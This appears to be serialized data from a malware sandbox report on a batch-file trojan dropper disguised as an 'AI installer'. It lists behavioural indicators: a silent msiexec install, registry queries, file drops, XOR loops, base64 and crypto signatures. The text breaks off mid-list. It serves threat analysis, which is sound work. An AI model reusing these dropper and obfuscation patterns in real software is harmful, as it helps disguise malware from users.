34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 80:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4c0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious BAT/TrojanDropper.Agent Sample ad09653296d5… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ad09653296d5…. Malware family: BAT/TrojanDropper.Agent. Threat score 100/100. 2/26 AV engines flagged this file. 6 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","keywords":["Malicious","BAT/TrojanDropper.Agent","malware analysis","sandbox report","threat intelligence","ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20"],"about":{"@type":"SoftwareApplication","name":"GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat","applicationCategory":["script","bat"],"identifier":"ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"BAT/TrojanDropper.Agent","antivirusDetections":{"malicious":2,"total":26},"behavioralIndicators":{"malicious":6,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T40a,"RUH6jyON3Am1lpKK4dhRyKZOCP/gmt9+Xlx2lP4b1ZurITN3MIY5v2OOFdXo3ftgN 37JlyEiKZ5Uvenb9xlO2YQmn7k8RSPenP2lNuGb+t8Ez8OItEAsmy3bBTBbaTf5zoYpxKPWbHEIs cTpuv8z/MU4ieCJ1/HXa4XpW3TV0IgbPqwg7Kptg7eo5Ltw0JA1ikVfcU/2pS/YSyrAkRKd4sVtr X7v4FzK9cWgNN00otmERzvZrugrbypkMWQzFK36dn44SrDa0ekCfRMzuq+Q6dli25M82rzVyZeAy wPIsu/Q1PtddQ6N+n2jdTv+YSXMo9Up333r6l1lwjA2w8AJ9xE53JPvgP3XD1shWbNw4We3cXoU0 cow3xn5adubwey3De2ZstjGGWbdz+F2BH53aqVAv7t7tL2kpHObaHdx311QVrxILSQNMci1A1btf KouOW9unA7mow1GJ7YpJSkJt0bIVN8lKuEW124yelIuVbTmVTxK9tZSBfJ7/tNlC8eu9pS8uXeQQ PNnp9RYf8YDZxgFu/VZUVjM22yBBxmth/TTj8tlvPyJlz88aaIwdijMpP9HrzF6kd8dAmYJ4I1Qo Z9yB23BayRR4uLr4YNdOLRbo7RQrAzyUMgtAh77IBXJkq8Lx9jlK8msCFIUcLo9MpMNiE8HI3cPR GOftplcAdnfRtkY366t6aT7KS41NV4w32yoid5CtLY0m0iPSTHgktd9H/bDijtnp8rlGb5s2SAXk Ta7hVPuz0mSzBLUg5K9xC/vUol8tAxNDLTmB5dn4/KWrp+h7M+Sd5nAZdUfp664gIRX2IzdSL4Ee U3kvyz5DDj+szvOPn0z/o4znqyj1PuzXwWsohWSlByxWoKnvHKAjxR0J5kLc0sPDvTXdsbn7jHIF +SI90f2D/eR1+QjADlC+h8jF+ICwz9dGxuDBkp4nXf+4IIkAhq0nWNNvacy+zWk5Yh5e33Y8sK/c NGmyl20cN/gsdzNtSZLaX" (Indicator: "goftp")37:T874,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002772.00000000.215210.140BB000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00005036.00000000.215916.0056B000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00005136.00000000.218070.02CCC000.00000002.mdmp")38:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp")39:T475,Process "msiexec.exe" with commandline "/i "%TEMP%\\SC_FeedbackTool_107829898\\SC_FeedbackTool.msi" /quiet /norestart /L*V "%TEMP%\\SC_FeedbackTool-install.log"" (UID: 00000000-00002268) Process "MsiExec.exe" with commandline "-Embedding A1513219D2E733198E83578BBFD3698F" (UID: 00000000-00005348) Process "MsiExec.exe" with commandline "-Embedding 87C8B0CF6C64EC883530F72035383D3E E Global\\MSI0000" (UID: 00000000-00002336) Process "MsiExec.exe" with commandline "-Embedding 7527B4F8C09CFAE004EA3EC469F4A599 C" (UID: 00000000-00006500) Process "MsiExec.exe" with commandline "-Embedding 43C3790684DFDF866A6E7BCE1D2726B3 C" (UID: 00000000-00007972) Process "MsiExec.exe" with commandline "-Embedding 8E707B031C3CD0B988381CB06A99A8F8" (UID: 00000000-00005500) Process "MsiExec.exe" with commandline "-Embedding 85594912C6E434581A1C15B0A3C26012" (UID: 00000000-00006724) Process "MsiExec.exe" with commandline "-Embedding D5570AE08DE2F34A1E5CC49B75B1A2AB E Global\\MSI0000" (UID: 00000000-00007224) Process "MsiExec.exe" with commandline "-Embedding 6FB760E34E1083DBC6C0CF3067912420 E Global\\MSI0000" (UID: 00000000-00002908) 3a:T748,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\CA") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\ENTERPRISECERTIFICATES\CA\CTLS")3b:Ta0a,"cmd.exe" queried SystemProcessInformation at 00000000-00004720-00000C15-1832369012 [PID: 4720] "cmd.exe" queried SystemProcessInformation at 00000000-00004720-00000C15-1832382313 [PID: 4720] "cmd.exe" queried SystemProcessInformation at 00000000-00004720-00000C15-1832611000 [PID: 4720] "cmd.exe" queried SystemProcessInformation at 00000000-00004720-00000C15-1832618360 [PID: 4720] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1833669433 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1833676803 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1833823793 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1833831975 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1835996716 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1836020827 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1836461192 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1836468473 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1836802814 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1836811148 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1838884390 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1839478451 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00006420-00000C15-1839485683 [PID: 6420] "powershell.exe" queried SystemProcessInformation at 00000000-00007528-00000C15-1841720996 [PID: 7528] "powershell.exe" queried SystemProcessInformation at 00000000-00007528-00000C15-1841727885 [PID: 7528] "powershell.exe" queried SystemProcessInformation at 00000000-00007528-00000C15-1841893268 [PID: 7528] "powershell.exe" queried SystemProcessInformation at 00000000-00007528-00000C15-1841900164 [PID: 7528] "powershell.exe" queried SystemProcessInformation at 00000000-00007528-00000C15-1843784068 [PID: 7528] "powershell.exe" queried SystemProcessInformation at 00000000-00007528-00000C15-1843791158 [PID: 7528] "powershell.exe" queried SystemProcessInformation at 00000000-00007528-00000C15-1844389442 [PID: 7528] "powershell.exe" queried SystemProcessInformation at 00000000-00007528-00000C15-1844396625 [PID: 7528]3c:T1238,"Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\MainPackage" to "%ALLUSERSPROFILE%\Package Cache\.unverified\MainPackage" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\MainPackage" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\Docusign Print Driver.msi" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\de.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\de.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\de.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\de.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\es.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\es.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\es.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\es.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\fr.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\fr.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\fr.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\fr.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\it.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\it.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\it.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\it.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\ja.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\ja.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\ja.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\ja.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\ko.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\ko.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\ko.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\ko.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\nl.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\nl.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\nl.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\nl.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\pt-br.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\pt-br.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\pt.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\pt.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\pt.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\pt.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\ru.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\ru.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\ru.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\ru.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\zh-cn.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\zh-cn.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\zh-cn.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\zh-cn.mst" "Docusign Print Driver x64.exe" renamed original file"C:\Windows\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\zh-tw.mst" to "%ALLUSERSPROFILE%\Package Cache\.unverified\zh-tw.mst" "Docusign Print Driver x64.exe" renamed original file"C:\ProgramData\Package Cache\.unverified\zh-tw.mst" to "%ALLUSERSPROFILE%\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\zh-tw.mst"3d:T488,Found reference to API NtUpdateWnfStateData@NTDLL.DLL at 00000000-00005036-43131-135-005660AF Found reference to API NtQueryWnfStateData@NTDLL.DLL at 00000000-00005036-43131-137-0056605A Found reference to API RtlRegisterFeatureConfigurationChangeNotification@NTDLL.DLL at 00000000-00005036-43131-167-00567E1D Found reference to API RtlSubscribeWnfStateChangeNotification@NTDLL.DLL at 00000000-00005036-43131-169-00566109 Found reference to API RtlUnsubscribeWnfNotificationWaitForCompletion@NTDLL.DLL at 00000000-00005036-43131-170-005668F4 Found reference to API RtlNotifyFeatureUsage@NTDLL.DLL at 00000000-00005036-43131-184-005665F0 Found reference to API RtlDisownModuleHeapAllocation@NTDLL.DLL at 00000000-00005036-43131-225-005635C0 Found reference to API RtlNtStatusToDosErrorNoTeb@NTDLL.DLL at 00000000-00005036-43131-226-00563540 Found reference to API RtlDllShutdownInProgress@NTDLL.DLL at 00000000-00005036-43131-278-00563580 Found reference to API RtlUnregisterFeatureConfigurationChangeNotification@NTDLL.DLL at 00000000-00005036-43131-286-00566935 Found reference to API RtlGetVersion@NTDLL.DLL at 00000000-00007008-46143-1126-0008695F3e:T13e1,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-44-005623A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-44-005623A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-70-00563C70 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-70-00563C70 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-74-00564431 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-74-00564431 Assembly shows XOR instruction xor eax BFFFFFFFh in Stream UID: 00000000-00005036-43131-76-005642EB Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-79-00563FE6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-79-00563FE6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-80-00563E89 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-80-00563E89 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-81-00563DD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-81-00563DD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-82-0056806E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-82-0056806E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-84-00565C01 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-84-00565C01 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-100-00564367 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-100-00564367 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00005036-43131-107-00569065 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00005036-43131-107-00569065 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00005036-43131-107-00569065 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00005036-43131-107-00569065 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00005036-43131-107-00569065 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-150-00568288 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-150-00568288 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-155-00562DCE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-155-00562DCE Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005036-43131-158-00562FA1 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005036-43131-158-00562FA1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-168-00567D41 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-168-00567D41 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005036-43131-181-00566571 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005036-43131-181-00566571 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-183-00566167 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-183-00566167 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-185-00567B89 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-185-00567B89 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-189-00565E00 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-189-00565E00 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-190-00565780 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-190-00565780 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-234-00564AD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-234-00564AD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005036-43131-241-0056265E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005036-43131-241-0056265E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007008-46143-27-000B34A2 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007008-46143-27-000B34A2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007008-46143-51-000B82DC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007008-46143-51-000B82DC Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00007008-46143-52-000B80C3 Assembly shows XOR instruction xor edi edx in Stream UID: 00000000-00007008-46143-52-000B80C33f:Tb1c,Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base64 string in header "2BTDManQQU9ndq3T" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base64 string in header "CryptoAPI/10" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base64 string in header "Keep" in header "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base64 string in header "User" in header "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base64 string in header "CryptoAPI/10" in header "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com" Contains base64 string in header "ocsp" in header "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/10.0Host: ocsp.sectigo.com"40:T5d5,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to decode base64 data Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains reference to crypto DLLs Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops file with high entropy indicating encryption/obfuscation Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Contains key cryptographic functions of the CryptoAPI41:T7242,Found XOR loop in file "SecondInstaller.exe" at offset 526081; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 535635; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 700364; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 883579; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 887231; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at offset 1052642; code bytes = 30d0 Found XOR loop in file "SecondInstaller.exe" at 